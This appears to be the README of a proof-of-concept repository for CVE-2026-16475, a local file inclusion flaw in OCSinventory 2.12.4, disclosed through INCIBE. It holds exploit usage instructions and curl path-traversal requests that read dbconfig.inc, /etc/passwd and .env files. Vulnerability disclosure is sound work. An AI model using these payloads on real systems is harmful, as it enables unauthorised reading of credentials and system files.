
This is the official repo with the PoC of the CVE-2026-16475, LFI in OCSinventory 2.12.4.
Local File Inclusion vulnerability in OCSinventory 2.12.4
CVE ID: CVE-2026-16475
CVSS Score: 6.9 (Medium)
CWE: CWE-98 (Improper Control of Filename for Include/Require Statement in PHP Program)
Affected Version: OCSinventory 2.12.4
Status: Patched in latest versions
A Local File Inclusion (LFI) vulnerability exists in the /ajax/teledeployoptions.php endpoint due to improper sanitization of the linkedoptions parameter before its use in a dynamic XML file inclusion operation.
The endpoint is designed to load XML configuration files but fails to properly validate the linkedoptions parameter, allowing path traversal attacks.
An unauthenticated remote attacker can exploit this vulnerability to:
pip install -r requirements.txt
python3 exploit.py -u http://target.com -v
Options:
-u, --url - Target URL (required)-v, --verbose - Verbose output-o, --output - Save successful reads to fileExample:
python3 exploit.py -u http://ocs.example.com -v -o results.txt
./lfi_test.sh
Edit BASE_URL variable in the script:
BASE_URL="http://target.com/ajax/teledeployoptions.php"
# Read database config
curl "http://target/ajax/teledeployoptions.php?os=test&linkedoptions=../../../dbconfig.inc"
# Read passwd file
curl "http://target/ajax/teledeployoptions.php?os=test&linkedoptions=../../../../../../../../etc/passwd"
# Read environment file
curl "http://target/ajax/teledeployoptions.php?os=test&linkedoptions=../../../.env"
For Users:
For Developers:
basename() or similar functions to prevent path traversalNote: CVE-2026-16475 is coordinated through INCIBE and may not yet be indexed in NVD. Check INCIBE source for authoritative information.
For Educational and Authorized Testing Only
See DISCLAIMER.md for full legal notice.
Adrián Ferrer Tarí
Responsible Disclosure Coordinated Through INCIBE